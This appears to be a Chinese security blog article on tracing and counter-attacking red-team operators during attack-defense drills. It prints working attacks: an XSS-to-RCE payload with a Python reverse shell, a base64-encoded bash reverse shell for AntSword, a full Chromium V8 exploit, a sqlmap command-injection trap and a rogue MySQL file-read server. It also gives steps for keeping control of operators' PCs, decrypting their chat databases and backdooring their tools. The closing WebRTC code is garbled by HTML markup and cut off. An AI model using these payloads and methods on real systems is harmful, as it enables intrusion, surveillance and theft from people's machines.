攻防演練多人運動溯源及反制 “指北”
STATEMENT
聲明
由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,雷神眾測及文章作者不為此承擔任何責任。
雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用于商業目的。
NO.1 前言
筆者片面的從多年乙方經驗(不涉及監管層面能拿到的數據)的技術層面來討論下大攻防演練多人運動下的溯源反制思路,以及作為反制團隊如何與藍隊其他成員之間進行配合反制相關的工作。 如有寫的不對的地方及遺漏的地方(肯定有的),請多多交流。
以下內容純屬虛構,如有雷同純屬巧合。
NO.2 反制團隊架構設計
反制團隊的建設
當一個事件產生,從藍隊的大流程中過來,經過了監控、分析、研判、應急等流程,作為反制,我們的目的是為了獲取紅隊相關基礎設施的權限、以及進一步反制溯源到人員。
反制,作為藍隊整個工作中的一環,偏向于事件的后續處理流程的一個閉環。作為一個閉環需要哪些知識棧的人員進行組合呢?
滲透人員至少1名:
主要對需要反制的目標進行反滲透;
內網成員1名:
需要擅長內網、釣魚、cs/msf 、免殺 等紅隊技能點;
情報/社工反制人員至少1名:
對拿到的ioc 、id等進行分析及社工反制相關人員;
逆向分析成員:
至少需要1名,分析獲取到的相關樣本,提取關鍵有用信息,分析紅隊人員后門;
漏洞分析成員:
需要熟悉主流web漏洞、瀏覽器及2進制漏洞,能夠快速制作相關反制的paylaod。
NO.3 從技術層面的反制思路
作為反制規則,我們的目標肯定是要拿下對方的基礎設施、以及定位到具體的人員為目標。
發現涉事服務器
當從研判組研判分析后,的確為攻擊者的服務器,那么就可以對該服務器進行反滲透,進一步進行取證分析。 反滲透的具體手法就不多說了,熟悉滲透的小伙伴應該都清楚。
定位分析技巧
當獲取到對方服務器的權限后,那么可以從這些姿勢里面進一步進行溯源到背后人員到真實身份。 基本上現在的大多數紅隊人員對自己的基礎設施保護不會跳太多層,拿下對方的一臺常見節點的服務器,就能達到溯源的目的。
windows 跳板服務器溯源
· windows security日志/rdp 日志
里面能夠拿到security或者rdp日志的ip信息,假如對方跳板是win 的話,順藤摸瓜可以拿到對方真實連跳板的ip


· Netstat 網絡連接
netstat 里的ip 連接也可以提取出來,進行定位真實的ip定位。
· 進程
tasklist 里面的進程信息、運行了哪些服務和程序,特別對定位運行的c2 的server端等信息比較有用。
· chrome 、firefox、ie、360瀏覽器等瀏覽器的密碼等記錄
瀏覽器記錄、以及保存的賬號密碼也可作為進一步進行社工的重要依據(大家就點到為止,沒必要扒光,都是江湖見的兄弟)。
· 密碼管理類的憑據保存記錄
比如一些密碼管理類的工具里面保存的可以嘗試進行提取然后進行分析。
· 第三方應用的相關日志
以及一些第三方應用等的日志,里面或許也會有記錄相關信息,比如python 或者某些ftp 等臨時開啟放一些中轉的的文件,里面的一些web 日志也能夠分析到相關紅隊成員真實ip 的信息,按照心理學來說肯定自己會先訪問下看服務和文件是否正常,除了受害者的信息就是紅隊人員自己的信息了。 那么這里可以提取相關ip 進行分析受害者有哪些、紅隊成員ip 有哪些。
· frp 等代理的日志
比如一些代理等日志,里面會記錄連接的ip信息。

linux 跳板服務器溯源
· 進程與網絡連接
linux 機器里,netstat 、進程與windows分析方式類似,查看運行的進程和網絡連接情況。
進程查看:ps auxwwfw
網絡查看: netstat -anp
· 日志記錄
每個用戶下的history 日志: 記錄了歷史操作的命令
/var/log/lastlog : 最后成功登入的日志記錄
/var/log/secure: 安全日志的記錄
/var/log/btmp: 登入失敗信息的記錄
/var/log/wtmp: 所有用戶的登入信息記錄
第三方應用日志的記錄、代理frp等的日志記錄

針對紅隊成員電腦pc的分析及控制
假如反制直接拿到紅隊成員電腦,那么以下方式可做參考。 當然首要的就是權限維持好,長期控著該紅隊人員才是目的。
· qq/wx 的id文件夾的文件
這些常見社交軟件,里面保存的文件夾的id 可以進一步作為定位人員的關鍵證據,以及相關db 數據庫,拿到進行數據庫解密,獲取相關聊天信息對整個紅隊成員定位然后進行一鍋端(github有相關解密代碼改改就可以用,我這里就不放出來了)。
· webshell 管理器
紅隊成員電腦里的webshell 管理器的db 庫,這個可以直接拖下來進行分析然后分析受害情況。
· 文檔資料
紅隊成員每天記錄的文檔報告以及云端同步的資料,這個很重要,關系到整個后續反制成果的展現。
· 團隊基礎信息的深入
根據解密的社交聯系軟件或者相關協作的工具平臺定位分析紅隊人員,然后在以控制住的這個紅隊成員的電腦為跳板,對他們的關鍵設施的工具武器進行劫持植入后門或者進一步定位及控制到更多紅隊成員的機器權限為主(方法很多,這里就不展開細說了,用紅隊的思維來進行反制紅隊)。
NO.4 紅隊常見工具反制
cs 的反制 4.0-4.4
參考:
https://adamsvoboda.net/sleeping-with-a-mask-on-cobaltstrike/
https://www.elastic.co/cn/blog/detecting-cobalt-strike-with-memory-signatures
CS 4.2+開始,默認 the obfuscation is using XOR with a 13 byte keys ,除非去改beacon 源碼或者用鉤子繞過(https://www.arashparsa.com/hook-heaps-and-live-free/),否則從4.0-4.4 基本gg,這也被逼著要么自己寫c2 要么用一些冷門的c2框架或者2開cs 避免一特征。
拿到紅隊人員的上線樣本文件后
以下開源工具可參考使用:
https://github.com/CCob/BeaconEye
(可以自己進行改下優化下該尋找內存中cs的beacon信標的工具)
https://github.com/jas502n/CS_mock或者
https://github.com/hariomenkel/CobaltSpam
(根據樣本提取到公鑰和metadata usl可以反制模擬上線打滿列表的工具)
https://github.com/Sentinel-One/CobaltStrikeParser
解析配置的工具
其中,下載配置文件的位置主要在這:
32位的特征碼:8? 68 74 74 70
64位的特征碼:9? 68 74 74 70
然后需要注意的是,假如對方用的是隨機的cs profile 或者自己改了profile 的話,用CS_mock 模擬上線的話,需要手工修改cookie 值。
第一步: 找到主機內存里的cs 后門進程和下載配置文件的那個url

第二步:用parse_beacon_config.py 進行解析提取cs的配置文件下載地址的文件

這里發現對方修改了cookie 里的值,這個值需要修改后面的cs_mock


第三步:知道了上線的cs server 和publish key ,還有修改的cookie 值,那么進行反制
修改下cs_mock.py

第四步:任意進行虛假反制上線直接打滿cs 列表

msf
msf 生成shellcode的yara 掃描
https://github.com/thewhiteninja/yarasploit
這里有msf 目前到6.0.12版本的生成shellcode 的yara 規則,但是存在部分誤報,如果需要根據特征去匹配內存中yara 需要進一步在研究

dnslog/httplog 等的反制
針對dnslog和httplog 的反制,獲取到對方的payload 的url ,然后批量使用站長之家進行批量ping 或者使用騰訊云函數進行批量訪問,對方列表會滿滿的都是請求。(手動dog
Goby 反制
tip 來自: 賽博回憶錄
打開goby開始掃描->IP詳情->XSS->RCE 完成
1. goby掃描
2. 服務端返回一個header插入xss引用遠程js文件
3. 遠程js文件里插入完整的執行代碼
4. 攻擊隊成員點擊詳情觸發xss,最后rce
server端端觸發demo
phpheader("X-Powered-By: PHP/");?>
遠程引用js的exp
(function(){require('child_process').exec('open /System/Applications/Calculator.app');require('child_process').exec('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'');})();
go 寫的掃描器反制
https://github.com/alexzorin/cve-2021-34558
X-ray,goby 等使用go寫的均會導致崩潰。
蟻劍的反制
· 反向RCE漏洞: <=v2.1.6 版本 https://github.com/AntSwordProject/antSword/issues/255 、https://xz.aliyun.com/t/8167# toc-5
1 style="display:none;"/>
· RCE Vulnerability in View Site # 256 :
https://github.com/AntSwordProject/antSword/issues/256、CVE-2020-25470
document.cookie=<span class="code-snippet__string" style="box-sizing: border-box;">"a=<img src=x "</span>child_process\<span class="code-snippet__string" style="box-sizing: border-box;">").exec(\"echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMjMzMyAwPiYxCg== | base64 -d | bash\")'/>"</span>
· https://github.com/AntSwordProject/antSword/issues/147
There is RCE Vulnerability in antSword ,影響:< V2.1
·https://github.com/AntSwordProject/antSword/issues/150
Report CVE RCE Vulnerability in antSword ,影響:< V2.1
·https://github.com/AntSwordProject/antSword/issues/151
antSword self-XSS Vulnerability leads to Code Execution 影響:< V2.1
·https://github.com/AntSwordProject/antSword/issues/153
Ver: <2.1 之前的版本
·https://github.com/AntSwordProject/antSword/issues/166
插件漏洞
· https://github.com/AntSwordProject/antSword/issues/3
歷史悠久的版本
·https://github.com/AntSwordProject/antSword/issues/16
歷史悠久的版本
AWVS的反制
awvs10 版本漏洞
https://www.exploit-db.com/exploits/39755
awvs 14以下的版本漏洞觸發
2021年4月13日,安全研究人員Rajvardhan Agarwal在推特公布了本周第一個遠程代碼執行(RCE)的0Day漏洞
Chromium V8 JavaScript引擎遠程代碼執行
Chromium 版本的漏洞,可以構造然后執行shellcode
poc(以下公開poc僅用于藍隊反制紅隊使用,github也有公開代碼,勿用于非法攻擊行為):
替換shellcode 部分即可
ENABLE_LOG = true;IN_WORKER = true;
// run calc and hang in a loopvar shellcode = [ xxx];
function print(data) {}
var not_optimised_out = 0;var target_function = (function (value) { if (value == 0xdecaf0) { not_optimised_out += 1; } not_optimised_out += 1; not_optimised_out |= 0xff; not_optimised_out *= 12;});
for (var i = 0; i < 0x10000; ++i) { target_function(i);}
var g_array;var tDerivedNCount = 17 * 87481 - 8;var tDerivedNDepth = 19 * 19;
function cb(flag) { if (flag == true) { return; } g_array = new Array(0); g_array[0] = 0x1dbabe * 2; return 'c01db33f';}
function gc() { for (var i = 0; i < 0x10000; ++i) { new String(); }}
function oobAccess() { var this_ = this; this.buffer = null; this.buffer_view = null;
this.page_buffer = null; this.page_view = null;
this.prevent_opt = [];
var kSlotOffset = 0x1f; var kBackingStoreOffset = 0xf;
class LeakArrayBuffer extends ArrayBuffer { constructor() { super(0x1000); this.slot = this; } }
this.page_buffer = new LeakArrayBuffer(); this.page_view = new DataView(this.page_buffer);
new RegExp({ toString: function () { return 'a' } }); cb(true);
class DerivedBase extends RegExp { constructor() { // var array = null; super( // at this point, the 4-byte allocation for the JSRegExp `this` object // has just happened. { toString: cb }, 'g' // now the runtime JSRegExp constructor is called, corrupting the // JSArray. );
// this allocation will now directly follow the FixedArray allocation // made for `this.data`, which is where `array.elements` points to. this_.buffer = new ArrayBuffer(0x80); g_array[8] = this_.page_buffer; } }
// try{ var derived_n = eval(`(function derived_n(i) { if (i == 0) { return DerivedBase; }
class DerivedN extends derived_n(i-1) { constructor() { super(); return; ${"this.a=0;".repeat(tDerivedNCount)} } }
return DerivedN; })`);
gc();
new (derived_n(tDerivedNDepth))();
this.buffer_view = new DataView(this.buffer); this.leakPtr = function (obj) { this.page_buffer.slot = obj; return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt); }
this.setPtr = function (addr) { this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt); }
this.read32 = function (addr) { this.setPtr(addr); return this.page_view.getUint32(0, true, ...this.prevent_opt); }
this.write32 = function (addr, value) { this.setPtr(addr); this.page_view.setUint32(0, value, true, ...this.prevent_opt); }
this.write8 = function (addr, value) { this.setPtr(addr); this.page_view.setUint8(0, value, ...this.prevent_opt); }
this.setBytes = function (addr, content) { for (var i = 0; i < content.length; i++) { this.write8(addr + i, content[i]); } } return this;}
function trigger() { var oob = oobAccess();
var func_ptr = oob.leakPtr(target_function); print('[*] target_function at 0x' + func_ptr.toString(16));
var kCodeInsOffset = 0x1b;
var code_addr = oob.read32(func_ptr + kCodeInsOffset); print('[*] code_addr at 0x' + code_addr.toString(16));
oob.setBytes(code_addr, shellcode);
target_function(0);}
try{ print("start running"); trigger();}catch(e){ print(e);}
那時候4月,wx還沒強制更新,內置的是存在問題的Chromium 內核版本,也還能用于wx 進行釣魚利用,現在很多紅隊人員的滲透工具不一定更新的是最新版本的,那么這個漏洞運氣好的話也還能釣部分紅隊人員。

burp 的反制
同樣,也是chromium v8 引擎的遠程代碼執行

<2021-3-3 的版本
反制利用場景:
1、Burp Suite v2.0的Live audit from Proxy被動掃描功能在默認情況下開啟JavaScript分析引擎(JavaScript analysis),用于掃描JavaScript漏洞
2、Response -> Render及Repeater -> Render 功能進行渲染的時候會觸發
burp 指紋的識別和反制
針對burp 指紋的反制 ,當攻擊者使用默認配置的burp,很多指紋能夠被精準識別到
利用跨域去獲取burp 的指紋,然后可以干很多事情,比如引入到蜜罐流量進行精準id 識別。
http://burp/favicon.ico
eg :
"http://burp/favicon.ico" onload="alert('found burp')" >
"http://burp/jquery.js"</span> onload=<span class="code-snippet__string" style="box-sizing: border-box;">"alert('found burp')"</span>>
利用流量指紋特征,識別burp
Burp抓到包后,會把連接狀態改為Close

sqlmap 的反制
老版本的sqlmap,釣魚頁面然后進行構造表單參數

demo
A sqlmap honeypot demo username:"text" name="username" >"myForm" action="username.php" method="post" enctype="text/plain">'hidden' name='name' value='sdf&sadf=sadf&command="&&whoami"'>"submit" οnclick="myForm.submit()" value="Submit">
xss 盲打后臺釣魚反制
假裝后臺被打到了,然后傳回他的xss 后臺,然后他訪問打到的后臺后,使用話術套路,讓他下載文件執行獲取對方終端權限
Git CLI遠程代碼
https://github.com/EdgeSecurityTeam/Vulnerability/blob/main/Git%20CLI%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2020-26233%EF%BC%89.md
· 創建一個新的存儲庫或將文件添加到現有存儲庫;
· 將Windows可執行文件上傳到此存儲庫,重命名為git.exe;
· 等待受害者fork存儲庫
· 使用gh repo fork REPOSITORY_NAME --clone frok后觸發rce。
Git 源碼漏洞反制
https://drivertom.blogspot.com/2021/08/git.html(別想偷我源碼:通用的針對源碼泄露利用程序的反制(常見工具集體淪陷))
構造../ ,然后把后門寫到啟動項或者定時任務進行getshell。

1. 對于類unix系統可以寫入crontab,增加定時任務,反彈shell回來
2. 對于Windows系統可以寫入開始菜單啟動項,或者dll劫持
3. 可以把攻擊工具的腳本給替換掉,下次執行就能上線
除此之外,可以通過發來的包的TTL值判斷操作系統(Windows默認是128,Linux是64或者255),實現更精準的反制
webshell 后門反制
直接傳上來的一些大馬,可以先關閉服務器進行隔離,然后在他的大馬里進行“加料”隔離上線,當對方在連接進來的時候先獲取對方的user-agent, 利用一些chrome 、fireofx 等一些常見瀏覽器的day ,構建shellcode 進行瀏覽器逃逸執行反制。
數據庫連接的反制
MySQL中 load data local infile '/etc/passwd' into table test fields terminated by '';語句可以讀取客戶端本地文件并插進表中,那么我們可以偽造一個惡意的服務器,向連接服務器的客戶端發送讀取文件的payload 。 比如讀取攻擊者的微信id、ntlm hash
https://mp.weixin.qq.com/s/rQ9BpavBeMnS6xUOidZ5OA
https://github.com/qigpig/MysqlHoneypot
遠程桌面連接mstsc/共享的反制
當對方為了方便mstsc 連接進來,當然場景不限于mstsc ,比如對方開啟了vmware 虛擬機等的文件共享,然后往對方啟動項丟一個可執行文件,直接就可以rce 了。

蜜罐
蜜罐就不多說了,基本甲方都會部署內外網遍地的蜜罐,攻防演練必備的。
JSONP/webrtc 獲取真實ip及社交賬號
https://blog.csdn.net/luofeng457/article/details/83899412
利用社交賬號精準溯源的蜜罐技術
https://www.cnblogs.com/potatsoSec/p/13801495.html
利用 webrtc 獲取真實 ip,別人走了sock 代理的話,這個一樣可以獲取到真實ip(部分代理軟件還未支持udp,socks5代理只支持到了tcp協議),因為是udp 協議的,所以能直接獲取到真實ip。
除非紅隊人員對瀏覽器進行了優化
禁用WebRTC
chrome用這個插件:WebRTC Leak Prevent
firefox:about:config-->media.peerconnection.enabled --〉 false
demo
"Content-Type" content="text/html; charset=utf-8"> Remote Addr: 'REMOTE_ADDR']?>
WebRTC
Your local IP addresses:
"localip">
Your public IP addresses:
"publicip">
Your IPv6 addresses:
"ipv6">
"rtc_iframe"</span> sandbox=<span class="code-snippet__string" style="box-sizing: border-box;">"allow-same-origin"</span> style=<span class="code-snippet__string" style="box-sizing: border-box;">"display: none"</span>> </span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> <span class="code-snippet__comment" style="box-sizing: border-box;">//get the IP addresses associated with an account</span></span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> function getIPs(callback){</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> var ip_dups = {};</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> <span class="code-snippet__comment" style="box-sizing: border-box;">//compatibility for firefox and chrome</span></span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> var RTCPeerConnection = window.RTCPeerConnection</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> || window.mozRTCPeerConnection</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> || window.msRTCPeerConnection</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> || window.webkitRTCPeerConnection;</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> var useWebKit = !!window.webkitRTCPeerConnection;</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> <span class="code-snippet__comment" style="box-sizing: border-box;">//bypass naive webrtc blocking using an iframe</span></span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> <span class="code-snippet__keyword" style="box-sizing: border-box;">if</span>(!RTCPeerConnection){</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> var win = document.getElementById(<span class="code-snippet__string" style="box-sizing: border-box;">"rtc_iframe"</span>).contentWindow;</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> RTCPeerConnection = win.RTCPeerConnection</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> || win.mozRTCPeerConnection</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> || win.msRTCPeerConnection</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> || win.webkitRTCPeerConnection;</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> useWebKit = !!win.webkitRTCPeerConnection;</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> }</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> <span class="code-snippet__comment" style="box-sizing: border-box;">//minimal requirements for data connection</span></span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> var mediaConstraints = {</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> optional: [{RtpDataChannels: <span class="code-snippet__literal" style="box-sizing: border-box;">true</span>}]</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> };</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer"><br></span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> var servers = {</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> iceServers: [</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> {</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> urls: [</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> <span class="code-snippet__string" style="box-sizing: border-box;">'stun:stun.l.google.com:19302?transport=udp'</span>,</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> <span class="code-snippet__string" style="box-sizing: border-box;">'stun:stun1.l.google.com:19302?transport=udp'</span>,</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> <span class="code-snippet__string" style="box-sizing: border-box;">'stun:stun2.l.google.com:19302?transport=udp'</span>,</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> <span class="code-snippet__string" style="box-sizing: border-box;">'stun:stun3.l.google.com:19302?transport=udp'</span>,</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> <span class="code-snippet__string" style="box-sizing: border-box;">'stun:stun4.l.google.com:19302?transport=udp'</span>,</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> <span class="code-snippet__string" style="box-sizing: border-box;">"stun:stun.ekiga.net?transport=udp"</span>,</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> <span class="code-snippet__string" style="box-sizing: border-box;">"stun:stun.ideasip.com?transport=udp"</span>,</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> <span class="code-snippet__string" style="box-sizing: border-box;">"stun:stun.rixtelecom.se?transport=udp"</span>,</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> <span class="code-snippet__string" style="box-sizing: border-box;">"stun:stun.schlund.de?transport=udp"</span>,</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> <span class="code-snippet__string" style="box-sizing: border-box;">"stun:stun.stunprotocol.org:3478?transport=udp"</span>,</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> <span class="code-snippet__string" style="box-sizing: border-box;">"stun:stun.voiparound.com?transport=udp"</span>,</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> <span class="code-snippet__string" style="box-sizing: border-box;">"stun:stun.voipbuster.com?transport=udp"</span>,</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> <span class="code-snippet__string" style="box-sizing: border-box;">"stun:stun.voipstunt.com?transport=udp"</span>,</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> <span class="code-snippet__string" style="box-sizing: border-box;">"stun:stun.voxgratia.org?transport=udp"</span></span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> ]</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> }</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> ]</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> };</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> <span class="code-snippet__comment" style="box-sizing: border-box;">//construct a new RTCPeerConnection</span></span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> var pc;</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> <span class="code-snippet__keyword" style="box-sizing: border-box;">try</span> {</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> pc = <span class="code-snippet__keyword" style="box-sizing: border-box;">new</span> RTCPeerConnection(servers, mediaConstraints);</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> } <span class="code-snippet__keyword" style="box-sizing: border-box;">catch</span> (e) {</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> <span class="code-snippet__keyword" style="box-sizing: border-box;">return</span></span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> }</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> function handleCandidate(candidate){</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> <span class="code-snippet__comment" style="box-sizing: border-box;">//match just the IP address</span></span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> var ip_regex = /([<span class="code-snippet__number" style="box-sizing: border-box;">0</span><span class="code-snippet__number" style="box-sizing: border-box;">-9</span>]{<span class="code-snippet__number" style="box-sizing: border-box;">1</span>,<span class="code-snippet__number" style="box-sizing: border-box;">3</span>}(\.[<span class="code-snippet__number" style="box-sizing: border-box;">0</span><span class="code-snippet__number" style="box-sizing: border-box;">-9</span>]{<span class="code-snippet__number" style="box-sizing: border-box;">1</span>,<span class="code-snippet__number" style="box-sizing: border-box;">3</span>}){<span class="code-snippet__number" style="box-sizing: border-box;">3</span>}|[a-f0<span class="code-snippet__number" style="box-sizing: border-box;">-9</span>]{<span class="code-snippet__number" style="box-sizing: border-box;">1</span>,<span class="code-snippet__number" style="box-sizing: border-box;">4</span>}(:[a-f0<span class="code-snippet__number" style="box-sizing: border-box;">-9</span>]{<span class="code-snippet__number" style="box-sizing: border-box;">1</span>,<span class="code-snippet__number" style="box-sizing: border-box;">4</span>}){<span class="code-snippet__number" style="box-sizing: border-box;">7</span>})/</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> var ip_addr = ip_regex.exec(candidate)[<span class="code-snippet__number" style="box-sizing: border-box;">1</span>];</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> <span class="code-snippet__comment" style="box-sizing: border-box;">//remove duplicates</span></span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> <span class="code-snippet__keyword" style="box-sizing: border-box;">if</span>(ip_dups[ip_addr] === undefined)</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> callback(ip_addr);</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> ip_dups[ip_addr] = <span class="code-snippet__literal" style="box-sizing: border-box;">true</span>;</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> }</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> <span class="code-snippet__comment" style="box-sizing: border-box;">//listen for candidate events</span></span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> pc.onicecandidate = function(ice){</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> <span class="code-snippet__comment" style="box-sizing: border-box;">//skip non-candidate events</span></span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> <span class="code-snippet__keyword" style="box-sizing: border-box;">if</span>(ice.candidate)</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> handleCandidate(ice.candidate.candidate);</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> };</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer"><br></span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> <span class="code-snippet__comment" style="box-sizing: border-box;">//create a bogus data channel</span></span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> pc.createDataChannel(<span class="code-snippet__string" style="box-sizing: border-box;">"bl"</span>);</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> <span class="code-snippet__comment" style="box-sizing: border-box;">//create an offer sdp</span></span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> <span class="code-snippet__keyword" style="box-sizing: border-box;">try</span> {</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> pc.createOffer().then(function(result) {</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> pc.setLocalDescription(result);</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> });</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> } <span class="code-snippet__keyword" style="box-sizing: border-box;">catch</span> (e) {</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> pc.createOffer().then(function(result) {</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> pc.setLocalDescription(result, function(){}, function(){});</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> }, function() {});</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> }</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> <span class="code-snippet__comment" style="box-sizing: border-box;">//wait for a while to let everything done</span></span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> setTimeout(function(){</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> <span class="code-snippet__comment" style="box-sizing: border-box;">//read candidate info from local description</span></span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> var lines = pc.localDescription.sdp.split(<span class="code-snippet__string" style="box-sizing: border-box;">''</span>);</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer"><br></span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> lines.forEach(function(line){</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> <span class="code-snippet__keyword" style="box-sizing: border-box;">if</span>(line.indexOf(<span class="code-snippet__string" style="box-sizing: border-box;">'a=candidate:'</span>) === <span class="code-snippet__number" style="box-sizing: border-box;">0</span>)</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: border-box;"> handleCandidate(line);</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer" style="box-sizing: 